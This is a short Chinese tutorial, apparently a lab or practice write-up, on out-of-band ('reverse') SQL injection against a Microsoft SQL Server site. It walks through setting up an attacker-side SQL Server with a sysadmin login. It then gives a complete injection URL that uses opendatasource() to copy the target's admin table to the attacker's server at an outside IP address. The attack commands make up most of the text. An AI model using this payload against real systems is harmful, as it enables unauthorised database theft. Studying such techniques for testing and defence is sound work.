用 id=2' 进行测试,发现报错,显示 odbc_exec() :xxxx 的错误,说明用的是MSSQL数据库:
image.png这里确实是存在注入点的,但用了几个测试语句都无法注入,也没有什么有价值的回显。所以这里就用上了反弹注入。
反弹注入就是利用SQL SERVER的opendatasource() 函数,来将查询结果发送到另一个外网服务器的SQL SERVER数据库中。
首先在自己用来接收查询结果的外网服务器中,搭建好SQL SERVER数据库的环境,然后建立一个具有管理权限的数据库账户:
exec master.dbo.sp_addlogin h4ck,h4ck;
exec master.dbo.sp_addsrvrolemember h4ck,sysadmin;
然后使用建立的SQL账户登录数据库,这里使用查询分析器进行连接。
用SQL语句建立一个数据库test:
create database test;
再在test数据库中建立lb_temp表:
image.png然后访问链接:
http://120.203.13.75:8150/MSSQL/?id=2'; insert into opendatasource('sqloledb','server=117.167.136.247,1433;uid=h4ck;pwd=h4ck;database=test').test.dbo.lb_temp select * from admin --
查看自己的数据库test中的lb_temp表,获取到了我们想要查询的数据:
image.png
网友评论